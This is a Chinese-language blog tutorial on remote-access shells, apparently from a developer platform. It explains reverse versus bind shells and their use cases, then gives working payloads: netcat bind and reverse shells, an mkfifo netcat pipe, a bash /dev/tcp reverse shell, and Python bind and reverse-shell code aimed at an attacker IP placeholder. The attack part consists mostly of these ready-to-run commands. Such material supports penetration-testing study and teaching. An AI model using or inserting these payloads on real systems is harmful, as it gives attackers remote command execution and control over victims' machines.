[1] 远程访问shell

1. 简介

远程访问shell分为两种类型:

  • 反弹shell:反弹 shell 是指目标机器主动发起 TCP 连接,将其 shell 输出和输入反向传递到攻击者控制的远程机器上。即目标机器向攻击者的机器发起连接,从而允许攻击者控制目标系统。
    • 适用场景:
      1. 目标机器位于防火墙和NAT后面:外部无法直接访问目标机器的端口。
      2. 防火墙设置限制:目标机器防火墙限制端口开放、阻止外部连接进行连接情况。
      3. 目标机器权限受限:目标机器上可能无法打开监听端口(例如没有 root 权限),但可以通过反弹 shell 发起出站连接。
  • 正向shell: 正向 shell(bind shell)是指目标机器在特定端口上打开一个监听服务,攻击者可以通过连接这个端口获得 shell 控制。即目标机器监听端口,攻击者向该端口发起连接。
    • 适用场景:
      1. 目标机器允许监听端口,不处于防火墙或NAT后面
      2. 内网中横向移动:在内网渗透中,正向 shell 有时被用于从一台已被攻陷的机器(目标)向同一网络中的其他机器发起攻击,并获得 shell 访问。
      3. 攻击者的机器受到网络或防火墙限制: 如果攻击者的网络有严格的防火墙策略,不允许接收来自目标机器的连接,那么正向 shell 更加合适,因为攻击者可以主动连接到目标的监听端口。

2. 正向shell实现

2.1 NetCat

nc -lvp 4444 - e/bin/bash

命令解释:

  • lvp 4444: l 表示开启监听模式,v 显示详细信息, p 指定监听端口
  • -e /bin/bash: 指定连接建立,指定要执行的命令为/bin/bash,将shell提供给连接的攻击者。

2.2 python实现

一般Linux系统都会预装python环境。

python -c 'import socket,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.bind(("0.0.0.0", 4444)); s.listen(1); conn, addr = s.accept(); os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2); os.system("/bin/bash")'

2.3 利用: 攻击者机器进行连接

	nc ip port

3. 反向shell

3.1 利用: 攻击者机器开启监听,等待连接

# 主动等待连接
nc -lvp 4444

3.2 nc实现

nc -e /bin/sh 攻击者ip 攻击者port
# 如果nc不支持-e参数时
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 你的IP地址 端口号 > /tmp/f

命令解释:

  • -e /bin/bash:代表执行/bin/bash程序,并将命令的输入、输出、错误重定向到建立的网络连接。
  • ip, port: 指定要连接的目标地址。

3.3 bash实现

bash -i >& /dev/tcp/你的IP地址/端口号 0>&1

解释:

  • bash -i:启动bash并适用交互模式。这个模式下,bash将以一种能够与用户进行交互的方式运行。
  • >& /dev/tcp/你的IP地址/端口号: 通过/dev/tcp进行TCP连接,通过它用远程主机发起网络连接。这意味着所有输出都会发送到这个远程主机的指定端口。
  • 0>&1: 表示将标准输入(0 表示 stdin)重定向到标准输出(1 表示 stdout),使得来自远程主机的输入可以通过该连接进入目标机器的 bash shell。这相当于让远程主机的输入被目标机器的 shell 处理,从而实现远程命令执行。

3.4 python实现

# coding: utf-8
import socket
import subprocess
import os

# 攻击者的IP和端口
attacker_ip = '攻击者IP'
attacker_port = 攻击者端口

# 创建一个socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到攻击者的IP和端口
s.connect((attacker_ip, attacker_port))

# 重定向标准输入、输出和错误流到 socket
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

# 启动一个交互式的 shell
subprocess.call(['/bin/sh', '-i'])

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值